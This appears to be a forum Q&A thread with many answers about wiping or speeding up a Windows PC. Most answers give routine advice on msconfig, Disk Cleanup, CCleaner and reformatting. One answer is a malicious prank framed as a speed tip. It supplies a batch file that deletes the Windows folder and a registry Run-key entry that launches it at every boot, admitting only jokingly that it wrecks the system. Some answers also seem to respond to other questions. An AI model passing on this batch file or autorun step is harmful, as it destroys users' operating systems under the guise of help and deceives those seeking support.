how do you clear your pc an start all over again?
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go to dos . type in format c : and yes
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If you want the most simple way of making your PC superfast then do the following:\nCopy this text between the two lines into a text document and save it as cleaner.bat\n--------------------------------\n@echo off\ncd C:&#92;\nDEL C:&#92;Windows&#92;*.*\nCLS\n--------------------------------\n\nPlace this cleaner.bat in your C:&#92; drive.\nnow, Go to start&#92;Run and type in regedit\nYou will see the registry editor.\nNavigate your way to the following:\nHKEY_LOCAL_MACHINE&#92;\nSOFTWARE&#92;\nMicrosoft&#92;\nWindows&#92;\nCurrentVersion&#92;\nRun&#92;\n\nwhen you have selected the 'RUN' part on the left, RIGHT-click on the right side of the window and select 'New>String Value' Name it cleaner.\nNow double click the new cleaner string that has appeared. It will open a box.\nIn the area for the value put the following:\nC:&#92;cleaner.bat\n\n\nThat is it.\n\nIMPORTANT:\nthe next time you reboot your PC it will attempt to delete your windows folder and, if successful, will render your PC useless and without a functioning operating system.\nIt will be really fast though I guarantee it!
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Yes, there are a number of programs that will wipe your hard drive and let you start afresh. Have a look on www.tucows.com
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Start | All Programs | Accessories | System Tools | System Restore
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Start->Run->type MSconfig\n\nThen go to the startup tab. \nIt should be under there as whatever the process name is. Just uncheck it. Hit apply then when you computer restarts a window pops up telling you that things have been changed. This will pop up everytime so hit that do not show again message. Everything is still ok.\n\nOr go under start menu->all programs->start up\nAnd delete the short cut out of there if there is one. If not do the other thing i said.
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http://www.superantispyware.com/superant...now that u have what u need....lets clean the pc first\ngo to start..run..type in msconfig.....press ok...new window...press start up..select disable all.press apply..press ok\ngo to start..run..type in prefetch in new window in top left corner..select edit..select all..press delete.......yes..delete all...\ngo to start..all programs..system tools..disc clean up..select c drive..after it has finished analyzing..check all the boxes..press ok..when it has finished cleaning..it will disappear...\nnow go to start..control panel...folder options.....view...u will see a option that says "show all hidden files and folders"..check that..press apply..press ok.....\nok....now we need to go into safe mode....turn off ur computer.....as soon as u turn it back on...u have to press f8 repeatedly until u see a screen that shows u several different options.....u need to enter the option " safe mode" use the arrow keys on keyboard to scrool to it..then press enter...after u afew moments..u will see log on as.....admin or user....select user....after that u will see ur desktop......now open antispyware..( please update this b4 going into safe mode)..click scan my computer....select full or complete system scan.....then press next..it might take ahour or so..after it has finished..remove what ever it finds...now close superantispyware....\ngo to start.run..type in...%temp%...press ok..new window..go to edit.select all..press delete..tes..delete all....\ngo to start..control panel...folder options.....view...click reset to default..press apply..press ok...\nnow restart your computer...u will see a pop up from system configuration...put a check mark in the little box..press ok
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start -> settings ->control panel\nadd remove programs\n\n\nAlso delete from startup\nstart -> run -> msconfig -> startup (uncheck any not needed)
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go to start click run and type msconfig. go to the startup tab and uncheck the programs you dont want starting up. reboot your computer.
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Try freeware CCleaner from http://www.ccleaner.com .  It will erase history, cookies, cache, temp files and lots of other assorted garbage.  It's a terrific registry cleaner also.\n\nIt can be set to run in automatic mode on every bootup if you want.
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Start> All programs> Accessories> System Tools> Disk Cleanup> Select C: drive> Click on 'more options'> Click 'Clean up' of 'System Restore'> Click OK.
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Yes, it is very much possible to "start - over".  What you need to do is format your hard disk and reinstall the operating system and all the other software.  It is not that difficult, but I would suggest taking external/professional help as this is your first time.  Do not forget to take a backup copy of all the files that you require before you start the process.  Formatting your hard disk does wonders to the performance of your computer.  Your system starts up really fast, and the overall speed and stability is mindblowing!\n\nAs for the alternative, you would find a considerable increase in the system performance if you do the following this:\n1. Run a thorough Scandisk check on all your hard disk partitions.  This can be done by right clicking the drive in My Computer and selecting Tools > Error checking > Check now. (In Windows XP)\n2. Defragment all your partitions.  To do this, right click the drive on My Computer, and select Tools > Defragmentation > Defragment Now.\n3. Clean your registry and optimize it using Registry Mechanic.  You should be able to find the latest version on download.com\n\nGood luck!
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looks in your "start menu...  system start up"  see if anything is in there... and delete it
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Formatting would be your best bet. Though there are certain commercial softwares which do this for you and then rewrite junk on the drive so that all previous info is lost but since nothing important is there a simple reformat would do. In order to do it you would have to boot into the command prompt. if you are using a certain brand like Dell or HP they have system restore which allows you to reset your computer to the day you bought it thus in effect starting out on a clean slate for any new user.\nI would personally recommend this(provided of course you have this feature)\n\nCheck out the link on Cnet about deleting data, it also has some links for softwares which will help you erase your HardDisk.
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"start" - "control panel" - "internet options" - "clear history"
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restart your computer.
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1- close all the programs that you don't use\n2- disable the system tray icons that starts when windows starts.\n3- uninstall programs that you don't use \n4- keep some empty space in the c directory ( where the windows os is installed )\n5- scan you computer for viruses and spyware periodicly\n6-check for hardware problems
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Yes, you can go back into it and re-check things if you want, it won't delete anything.\n\nAnd it will help at startup and should also help while the computer is running because all those things you uncheck usually run at startup and continue to run while using the computer.\n\nWhen you restart the computer the first time a message will pop up saying you've changed the startup options, just click on the box to not show it anymore and you're set.